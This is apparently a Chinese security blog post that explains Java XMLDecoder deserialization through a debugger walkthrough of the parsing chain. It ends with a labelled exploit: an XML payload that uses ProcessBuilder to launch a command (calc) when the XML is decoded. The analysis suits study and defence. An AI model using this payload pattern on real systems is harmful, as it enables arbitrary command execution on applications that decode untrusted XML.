Java XMLDecode反序列化

  • A+
所属分类:代码审计

Java XMLDecode反序列化

前言

正常遇到的有关于xml攻击思路定格在dtd的利用上,有关语言类的xml攻击却很少见,本文探讨xml反序列化攻击在java上的应用。

JAVA XML

序列化举例

java序列化xml实体

Java XMLDecode反序列化

输出

Java XMLDecode反序列化

反序列化举例

java反序列化序列化xml实体

Java XMLDecode反序列化

输出

Java XMLDecode反序列化

攻击方式

构造xml实体

Java XMLDecode反序列化

输出

Java XMLDecode反序列化

反序列化链分析

先给出完整调用栈(到Expression)

Java XMLDecode反序列化

逐步分析

1.先下断点

Java XMLDecode反序列化

上一句断点跟入发现只做了初始化和载入input数据,如果跟入可以发现其处理xml的所有handle类型

Java XMLDecode反序列化

2.进入调试后跟进

Java XMLDecode反序列化

再跟进

Java XMLDecode反序列化

这里可以看到调用handle下parse处理我们输入的input数据,下断点直接步进至断点处

两次步进到

Java XMLDecode反序列化

发现再次调用流量handle的parse方法处理我们的传入数据

步进至

Java XMLDecode反序列化

前面大部分都在对handle进行预处理,下断点,继续跟进

Java XMLDecode反序列化

跟进到SAXParser主类,判断handle是否为空,这里不为空再次调用parse方法,下断点跟进

Java XMLDecode反序列化

调用xmlparse的parse方法,判断不为空然后调用父类的parse方法,下断点跟进

Java XMLDecode反序列化

这里又调用了xmlReader父类AbstractSAXParser的parser方法,下断点再次跟进

Java XMLDecode反序列化

再次回调xmlparse的parse方法,传入输入的数据,下断点跟进

Java XMLDecode反序列化

调用XML11Configuration的parse方法,下断点跟进

Java XMLDecode反序列化

进入正题,调用xml读取方法,下断点跟进

Java XMLDecode反序列化

跟进

Java XMLDecode反序列化

跟进

Java XMLDecode反序列化

关键点就在这里,XMLDocumentFragmentScannerImpl类

跟进next

Java XMLDecode反序列化

上张图为循环点!

Java XMLDecode反序列化

跟进next

Java XMLDecode反序列化

后返回XMLDocumentFragmentScannerImpl方法

Java XMLDecode反序列化

注:这里是第二次循环读取,上一次循环读取数据为版本数据,循环语段见上面的图

在scanEndElement处下断点跟进

Java XMLDecode反序列化

进入DocumentHandle跟进

Java XMLDecode反序列化

关键方法addArgument,该方法将标签内的值设置到StringElementHandler的value属性,紧接着在endElement方法中该值被设置到parent(VoidElementHandler)的Argument中,下断点继续跟进

Java XMLDecode反序列化

跟进至所有赋值操作完成,将当前handler指向parent handler,EndElement方法结束

Java XMLDecode反序列化

handler指向其父类VoidElementHandler,由于没有重写getValueObject,调用NewElementhandler的getValueObject

Java XMLDecode反序列化

持续跟进一段可以发现

Java XMLDecode反序列化

到这便完成了一段参数的解析, 关键类Expression,下断点

Java XMLDecode反序列化

成功设置参数

Java XMLDecode反序列化

到这里设置的解析成功的数据为

<array class="java.lang.String"length="1">
 <void index="0">
     <string>calc</string>
 </void>
</array>

再次步进入循环点,进入下次参数设置

Java XMLDecode反序列化

成功设置方法start,全部方法解析,点击步过,成功触发命令执行

Java XMLDecode反序列化

反序列化利用源Expression

例子

Java XMLDecode反序列化

运行结果

Java XMLDecode反序列化

//语法
new Expression((Object)Class, METHOD, ARG...).execute/getValue();

自定义对象测试

Java XMLDecode反序列化

我自己环境跑不出来,按道理这是能跑的

附件: EXP

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_202" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="1">
   <void index="0"><string>calc</string></void>
 </array>
 <void method="start"></void>
</object>
</java>

本文始发于微信公众号(NEO攻防队):Java XMLDecode反序列化

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: